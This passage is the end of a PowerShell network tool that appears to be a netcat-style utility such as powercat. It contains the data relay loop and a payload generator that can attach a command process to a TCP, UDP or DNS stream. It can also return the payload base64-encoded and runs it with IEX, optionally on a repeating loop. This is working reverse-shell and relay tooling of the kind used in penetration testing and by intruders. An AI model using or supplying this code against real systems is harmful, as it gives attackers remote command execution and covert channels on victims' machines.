if($InputToWrite -ne @())
|
|
{
|
|
Write-Verbose "Writing input to Stream 1..."
|
|
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
|
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
|
}
|
|
|
|
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
|
|
|
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
|
while($True)
|
|
{
|
|
try
|
|
{
|
|
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
|
|
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
|
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
|
$Data = $null
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
|
}
|
|
|
|
try
|
|
{
|
|
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
|
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
|
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
|
|
$Data = $null
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
|
}
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
try
|
|
{
|
|
#Write-Verbose "Closing Stream 2..."
|
|
Stream2_Close $Stream2Vars
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to close Stream 2"
|
|
}
|
|
try
|
|
{
|
|
#Write-Verbose "Closing Stream 1..."
|
|
Stream1_Close $Stream1Vars
|
|
}
|
|
catch
|
|
{
|
|
Write-Verbose "Failed to close Stream 1"
|
|
}
|
|
}
|
|
}
|
|
########## MAIN FUNCTION ##########
|
|
|
|
########## GENERATE PAYLOAD ##########
|
|
if($u)
|
|
{
|
|
Write-Verbose "Set Stream 1: UDP"
|
|
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
|
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
|
|
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
|
|
}
|
|
elseif($dns -ne "")
|
|
{
|
|
Write-Verbose "Set Stream 1: DNS"
|
|
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
|
if($l){return "This feature is not available."}
|
|
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
|
|
}
|
|
else
|
|
{
|
|
Write-Verbose "Set Stream 1: TCP"
|
|
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
|
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
|
|
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
|
|
}
|
|
|
|
if($e -ne "")
|
|
{
|
|
Write-Verbose "Set Stream 2: Process"
|
|
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_CMD} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_CMD} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_CMD} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_CMD} + "`n}`n`n")
|
|
$InvokeString += "@('$e')`n`n"
|
|
}
|
|
elseif($ep)
|
|
{
|
|
Write-Verbose "Set Stream 2: Powershell"
|
|
$InvokeString += "`n`n"
|
|
}
|
|
elseif($r -ne "")
|
|
{
|
|
if($r.split(":")[0].ToLower() -eq "udp")
|
|
{
|
|
Write-Verbose "Set Stream 2: UDP"
|
|
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
|
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
|
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
|
else{return "Bad relay format."}
|
|
}
|
|
if($r.split(":")[0].ToLower() -eq "dns")
|
|
{
|
|
Write-Verbose "Set Stream 2: DNS"
|
|
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
|
if($r.split(":").Count -eq 2){return "This feature is not available."}
|
|
elseif($r.split(":").Count -eq 4){$InvokeString += ("@('" + $r.split(":")[1] + "','" + $r.split(":")[2] + "','" + $r.split(":")[3] + "',$dnsft) ")}
|
|
else{return "Bad relay format."}
|
|
}
|
|
elseif($r.split(":")[0].ToLower() -eq "tcp")
|
|
{
|
|
Write-Verbose "Set Stream 2: TCP"
|
|
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
|
if($r.split(":").Count -eq 2){$InvokeString += ("@('',`$True,'" + $r.split(":")[1] + "','$t') ")}
|
|
elseif($r.split(":").Count -eq 3){$InvokeString += ("@('" + $r.split(":")[1] + "',`$False,'" + $r.split(":")[2] + "','$t') ")}
|
|
else{return "Bad relay format."}
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Write-Verbose "Set Stream 2: Console"
|
|
$FunctionString += ("function Stream2_Setup`n{`n" + ${function:Setup_Console} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
|
|
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
|
|
$InvokeString += ("@('" + $o + "')")
|
|
}
|
|
|
|
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
|
|
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
|
|
$InvokeString = ($FunctionString + $InvokeString)
|
|
########## GENERATE PAYLOAD ##########
|
|
|
|
########## RETURN GENERATED PAYLOADS ##########
|
|
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
|
|
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
|
|
########## RETURN GENERATED PAYLOADS ##########
|
|
|
|
########## EXECUTION ##########
|
|
$Output = $null
|
|
try
|
|
{
|
|
if($rep)
|
|
{
|
|
while($True)
|
|
{
|
|
$Output += IEX $InvokeString
|
|
Start-Sleep -s 2
|
|
Write-Verbose "Repetition Enabled: Restarting..."
|
|
}
|
|
}
|
|
else
|
|
{
|
|
$Output += IEX $InvokeString
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
if($Output -ne $null)
|
|
{
|
|
if($of -eq ""){$Output}
|
|
else{[io.file]::WriteAllBytes($of,$Output)}
|
|
}
|
|
}
|
|
########## EXECUTION ##########
|
|
}
|